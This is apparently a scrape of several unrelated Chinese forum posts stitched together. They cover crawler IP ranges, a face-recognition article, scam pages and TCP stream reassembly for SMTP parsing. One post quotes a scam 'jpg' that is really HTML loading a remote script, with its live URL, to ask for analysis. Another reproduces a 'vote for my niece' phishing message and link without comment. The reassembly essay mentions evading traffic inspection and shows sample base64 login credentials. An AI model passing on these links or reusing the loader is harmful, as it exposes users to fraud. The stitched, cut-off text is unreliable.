/soft/DriveTheLife/8_16_28_78/DriveTheLife_2095_netcard_8_16_28_78.exe HTTP/1.1
]]>我还以为是谁在刷 pcdn 下载流量呢,但是封了几个 ip 之后,发现不对劲,就算 ip 给拉黑了,后面还有不断的新 ip 来,同个 ip 段的,之前的 ip 也在继续,看了日志,伪装成各种 ua 在爬,几百万的请求了。
比如一开始是 58.220.40.49 来,后面 58.220.40.50 ,反正后面随机,都是 58.220 段。
我记录的都有 300 多个 ip 了,后面懒得记录了,直接把请求不对的 ip 全自动拉黑了。
主要都是江苏扬州、山东烟台的电信 ip:
43.254 这个用美团查是北京的
49.71
49.86
58.220
117.91
114.230
121.233
123.169
140.75
180.103
180.119
182.34
218.91
221.229
我觉得很神奇啊,能搞到这么多连贯的 ip 。 机房也不至于吧,我查了部分 ip ,显示是家庭宽带,当然也有数据中心机房的,可能查询不准。
]]>https://mp.weixin.qq.com/s/SksVmPB1aOEAlvtFiGhJIw
大家对这个可信度如何?
我感觉是真的, 比较很多系统人脸识别做不到 微信、支付宝级别。
]]>这个 jpg 实际上是一个 html ,直接访问是会被拦截的,但是加上后面的参数就可以访问了,希望有大佬来解析一下
诈骗链接:
https://blj-prod.oss-cn-shenzhen.aliyuncs.com/material/default/default/2bc4767a-9b62-4254-8513-0ae88ca82f14.jpg?data=YpAOcbLP7rTBLAc/gPxCiKaLASa17m2B3zg1FebfUY47LMM/nteukdxJiO1dRvjWHSimrQTvgE2Yg4DwctTe6w==#sbm=Vpyd1G5oAy
诈骗传单图片:
诈骗“jpg”的内容:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title></title> <meta name="viewport" cOntent="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0,user-scalable=no,minimal-ui"/> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; } iframe { display: block; width: 100%; height: 100%; border: none; } </style> </head> <body> <script src="https://pro.jsmaodian.top/jsqiantao.js"></script> </body> </html>
]]>: xxxx ,帮我家 17 号侄女投上一票 校园舞蹈比赛 谢谢
https://cloud1-3g9h1m9j658332c4-1362482361.tcloudbaseapp.com/a1/index.html?ud=075564
网络有点慢 打开后稍等一会 就可以了 非常感谢 !
在数据包基础上开始协议解析不是不可以,甚至有时候还更简单。比如我们想解析 SMTP 的 maifrom 命令,它几乎在所有邮件通信过程中都完整地在一个单独的包中。甚至字符数量更多的邮件头也是如此。但是却不能作出它们一定就完整地在一个包中的假设,因为 TCP 协议并没有这种要求。虽然在绝大多数邮件服务器的实现中都会表现如上面描述,但是如果你想故意逃避被流量检测程序还原你的邮件通信,你完全可以手动 telnet 上去,然后一个字符一个字符地发送,使 mailfrom 分散在多个包中。
此外还会有数据包乱序重传丢包等情况。
所以上面的假设是不完整的。遇到特殊情况会解析失败。
为避免上述的的缺点,需要对 TCP 作重组,也就是按照 TCP 协议来把数据还原成原始发送和接收的状态。给解析工作提供一个完整准确简洁的视角。重组模块把丢包重传乱等 TCC 层的问题序屏蔽掉。解析器看到的数据不是数据包而是和邮件服务器客户端看到的一样,是一条流。
重组的方式有个简单办法。可以把链接的数据包都保存下来等待链接结束,然后按照序列号的顺序放到一个 buff 中。然后提交给解析器在这个 buffer 中解析邮件协议。就好像处理一个文件一样。
这样的实现最简单直接。但是这样会有一些问题:
一是必须等待链接结束才可以开始解析,因为如果只有部分不完整的数据解析器无法工作,buffer 的结束边界可能正好在 mailfrom 这个命令的中间,解析器会中途失败或者需要重复扫描。
再一个就是这样会需要很多的内存。如果流量处理程序需要处理大量链接,那内存消耗会无法接受。
还有一个问题,就是等链接结束才开始解析,如果需要根据提取出来的字段作出针对链接的动作(比如阻断),为时已晚。
所以需要更合适的重组方式。
如果可以不缓存所有数据等到链接结束,边收数据包,边重组,边解码,边释放数据包,把收到的数据及时消耗掉,那就可以避免上面的缓存完整链接占用太多内存的问题。
找一个简单的协议考虑一下这种方式,未必不可行。要说简单的协议没有比 SMTP 更合适的了,毕竟它的名字就叫简单邮件协议。最基本的,这个协议就是以\r\n 结束的行为单位。构造命令,邮件头和邮件内容。如果我们在收到完整的一行的数据后就及时把这一行消耗并释放掉。那就不需要缓存所有数据,最多只需要缓存一个不完整的行就可以了。而且这个行的字符数有限,比如 78 。其他基于文本的协议也类似,其他二进制结构的协议可以对比 TCP/IP 的头,也都是固定大小的结构体。总之,并不需要缓存完整的流才能开始解析,只需要缓存最小的不完整的一个单位(一行,或者一个结构体大小)就可以开始协议解析了。解析完成一行,立刻释放这一行。这样就不会占用太多的内存。并且可以实时解析提取数据,立刻根据数据作出动作。前面方式的缺点都可以避免。
SMTP 的例子如下:
220 smtp.qq.com Esmtp QQ QMail Server EHLO ABC01234567 250-smtp.qq.com 250-PIPELINING 250-SIZE 73400320 250-STARTTLS 250-AUTH LOGIN PLAIN 250-AUTH=LOGIN 250-MAILCOMPRESS 250 8BITMIME AUTH LOGIN 334 VXNlcm5hbWU6 dXNlcjEyMzQ1QGV4YW1wbGUxMjMuY29t 334 UGFzc3dvcmQ6 MTIzNDU2Nzg= 235 Authentication successful MAIL FROM: <user12345@example123.com> SIZE=300 250 Ok RCPT TO: <user12345@example123.com> 250 Ok DATA 354 End data with <CR><LF>.<CR><LF> Date: Mon, 27 Jun 2022 17:01:55 +0800 From: "user12345@example123.com" <user12345@example123.com> To: =??B?wO60urvU?= <user12345@example123.com> Subject: biaoti X-Priority: 3 X-Has-Attach: no X-Mailer: Foxmail 7.2.19.158[cn] Mime-Version: 1.0 Message-ID: <202206271701548584972@example123.com> Content-Type: multipart/alternative; boundary="----=_001_NextPart572182624333_=----" This is a multi-part message in MIME format. ------=_001_NextPart572182624333_=---- Content-Type: text/plain; charset="" Content-Transfer-Encoding: base64 aGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRk ZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRk ZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRk ZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkDQoNCg0K DQo= ------=_001_NextPart572182624333_=---- Content-Type: text/html; charset="" Content-Transfer-Encoding: quoted-printable <html><head><meta http-equiv=3D"content-type" cOntent=3D"text/html; charse= t=3D"><style>body { line-height: 1.5; }body { font-size: 14px; font-= yle></head><body>=0A<div><span></span>hello dddddddddddddddddd<span style= =3D"#b5c4df" size=3D"1" align=3D"left">=0A<div><span></span></div>=0A</bod= y></html> ------=_001_NextPart572182624333_=------ . 250 Ok: queued as QUIT 221 Bye
既然可以基于行的方式来实现流式重组和解码,那可以为此设计一个重组的实现。目的是为解析器一行一行地提供数据,供解析器使用。那只需要提供这样一个 API:
get_line(node, line, len)
其中 node 就是这条链接所在流表的节点,前面说了,我们可以在流表的节点中保存本链接相关的数据。line 就保存在这里。line 是完整一行的数据,len 是这一行的长度。这个 API 如果到来的数据包中不足以凑成一个完整的行,那就返回-1 ,如果凑够了就返回 0 。这样,就给解析器提供了一个行数据的视角,它屏蔽了 TCP 层的麻烦事儿。
当然,它内部在数据包乱序的情况下仍然需要缓存数据包,这是无法避免的。每次调用这个函数,就从数据包中 copy 数据,直到\r\n 结束。如果数据包被读完,就立刻释放掉这个数据包。如果当前数据不足,就返回失败,等到下次数据包到来被调用。同时 node 上保存着不完整的 line 。这样就不需要缓存整个链接的数据,仅需要占用一个 line 大小的内存即可。根据序列号对数据包排序之类自然也是必须,不必细说。
这样,一个 API ,就解决了流式重组流式解码的关键问题...
]]>